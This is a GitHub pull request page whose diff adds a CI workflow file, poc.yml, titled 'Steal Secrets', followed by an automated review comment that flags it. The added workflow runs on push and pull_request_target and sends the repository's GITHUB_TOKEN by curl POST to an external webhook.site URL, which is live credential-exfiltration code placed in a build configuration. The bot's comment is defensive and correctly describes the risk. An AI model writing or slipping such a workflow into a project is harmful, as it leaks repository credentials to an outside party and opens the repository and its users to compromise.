Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions .github/workflows/poc.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
name: Steal Secrets
on: [push, pull_request_target]

jobs:
steal:
runs-on: ubuntu-latest
steps:
- run: |
curl -X POST https://webhook.site/e83aa988-440d-465e-b205-2d57aea449a5 \
-d "token=${{ secrets.GITHUB_TOKEN }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Exfiltrates GITHUB_TOKEN externally

High Severity

The workflow sends ${{ secrets.GITHUB_TOKEN }} in an HTTP POST to a third-party webhook.site URL on push and unscoped pull_request_target. That exposes repository credentials to an external party and can run with base-repo token access on pull requests, including from forks.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 01199bb. Configure here.